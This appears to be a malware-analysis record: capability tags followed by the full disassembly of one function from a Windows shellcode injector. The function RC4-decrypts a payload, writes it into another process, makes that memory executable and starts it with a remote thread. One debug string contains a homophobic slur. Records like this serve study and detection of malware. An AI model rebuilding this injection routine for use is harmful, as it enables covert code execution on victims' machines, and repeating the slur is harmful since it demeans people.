Function at 0x1400012e0
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rdx, qword [rdx + 8]
lea rcx, str._i__Searching_For_Process_Id_Of___s__...__n
xor esi, esi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x68], esi
call fcn.140001010
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x68]
call fcn.1400010d0
test eax, eax
jne 0x14000133a
lea rcx, str.____Process_is_Not_Found__n
call fcn.140001070
lea eax, [rsi - 1]
jmp 0x14000156c
lea rcx, str.___DONE__n
mov qword [rsp + 0xa0], rbp
call fcn.140001010
mov edx, dword [rsp + 0x68]
lea rcx, str._i__Found_Target_Process_Pid:__d__n
call fcn.140001070
lea rcx, str._i__injecting_faggot_shellcode..._n
call fcn.140001070
lea rax, [0x140005158]
mov dword [rsp + 0x48], 0x10
lea rbp, [0x140005040]
mov qword [rsp + 0x50], rax
lea rcx, str.Advapi32
mov dword [rsp + 0x4c], 0x10
mov dword [rsp + 0x58], 0x114
mov dword [rsp + 0x5c], 0x114
mov qword [rsp + 0x60], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call rax
test eax, eax
je 0x1400013e7
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140001564
mov qword [rsp + 0x90], rbx
xor edx, edx
mov qword [rsp + 0xa8], rdi
mov r9d, 0x3000
mov rdi, qword [rsp + 0x40]
mov r8d, 0x114
mov rcx, rdi
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x14000143e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualAllocEx_Failed_With_Error_:__d__n
jmp 0x14000154b
mov rdx, rbx
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001070
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.140001070
lea rax, [rsp + 0x48]
mov r9d, 0x114
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000153e
cmp qword [rsp + 0x48], 0x114
jne 0x14000153e
mov edx, 0x114
lea rcx, str._i__Successfully_Written__d_Bytes_n
call fcn.140001070
xor edx, edx
mov r8d, 0x114
mov rcx, rbp
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x114
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400014e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____VirtualProtectEx_Failed_With_Error_:__d__n
jmp 0x14000154b
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001070
lea rcx, str._i__Executing_Payload_...
call fcn.140001070
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001530
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateRemoteThread_Failed_With_Error_:__d__n
jmp 0x14000154b
lea rcx, str.___DONE___n
call fcn.140001070
jmp 0x140001552
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____WriteProcessMemory_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001070
mov rdi, qword [rsp + 0xa8]
xor eax, eax
mov rbx, qword [rsp + 0x90]
mov rbp, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400015a0
add rsp, 0x80
pop rsi
ret